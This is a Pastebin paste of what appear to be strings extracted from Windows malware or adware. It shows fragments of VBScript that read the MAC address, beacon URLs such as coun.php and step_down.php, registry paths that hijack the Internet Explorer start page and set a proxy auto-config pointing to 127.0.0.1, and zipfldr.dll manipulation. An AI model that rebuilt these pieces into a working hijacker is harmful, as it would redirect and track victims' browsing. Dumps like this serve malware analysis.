Advertisement
PepperPotts

80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a

Mar 17th, 2019
3,343
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.25 KB | None | 0 0
  1. ScriptControl
  2. Language
  3. VBScript
  4. ExecuteStatement
  5. Function MACAddress()
  6. Dim mc,mo
  7. Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
  8. For Each mo In mc
  9. If mo.IPEnabled=True Then
  10. MACAddress= mo.MacAddress
  11. Exit For
  12. End If
  13. Run
  14. MACAddress
  15. http://
  16. /coun.php
  17. ?m=
  18. &h;=
  19. GET
  20. ?p
  21. POST
  22. users.qzone.qq.com
  23. GET /fcg-bin/cgi_get_portrait.fcg?uins=
  24. HTTP/1.1
  25. Host: users.qzone.qq.com
  26. Connection: keep-alive
  27. Accept: */*
  28. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
  29. Safari/537.36
  30. Date:
  31. GMT
  32. function lakwi(){var st = '
  33. ';var t2 = Date.parse(new Date(st))/1000;return t2;}
  34. JScript
  35. lakwi
  36. Software\\Microsoft\\Internet Explorer\\Main\\Start Page
  37. www.naver.com
  38. 0.0.0.0
  39. .com.azx
  40. .kr
  41. .kr.azx
  42. ET
  43. step_down.php?key=c8fcd8757ae15519
  44. ScriptControl
  45. Language
  46. VBScript
  47. ExecuteStatement
  48. Function MACAddress()
  49. Dim mc,mo
  50. Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
  51. For Each mo In mc
  52. If mo.IPEnabled=True Then
  53. MACAddress= mo.MacAddress
  54. Exit For
  55. End If
  56. Run
  57. MACAddress
  58. http://
  59. /coun.php
  60. ?m=
  61. &h;=
  62. GET
  63. ?p
  64. POST
  65. users.qzone.qq.com
  66. GET /fcg-bin/cgi_get_portrait.fcg?uins=
  67. HTTP/1.1
  68. Host: users.qzone.qq.com
  69. Connection: keep-alive
  70. Accept: */*
  71. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
  72. Safari/537.36
  73. Date:
  74. GMT
  75. function lakwi(){var st = '
  76. ';var t2 = Date.parse(new Date(st))/1000;return t2;}
  77. JScript
  78. lakwi
  79. Software\\Microsoft\\Internet Explorer\\Main\\Start Page
  80. www.naver.com
  81. 0.0.0.0
  82. .com.azx
  83. .kr
  84. .kr.azx
  85. ET
  86. step_down.php?key=c8fcd8757ae15519
  87. HTTP/1.1 200 OK
  88. Accept-Ranges: bytes
  89. Content-Type: text/plain
  90. Content-Length:
  91. WinHttp.WinHttpRequest.5.1
  92. Open
  93. Send
  94. responseBody
  95. Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL
  96. http://127.0.0.1:
  97. CreateObject("Scripting.FileSystemObject").CopyFolder "{tmp}","{tmp_}"
  98. AddCode
  99. Applications\\zipfldr.dll\\NoOpenWith
  100. regsvr32 /s zipfldr.dll
  101. zip
  102. Error
  103. Sub run(ByVal A, ByVal B)
  104. Set fso = CreateObject("Scripting.FileSystemObject")
  105. If fso.GetExtensionName(B) <> "zip" Then
  106. Exit Sub
  107. ElseIf fso.FolderExists(A) Then
  108. FType = "Folder"
  109. ElseIf fso.FileExists(A) Then
  110. Line
  111. ConnId
  112. ProxyId
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement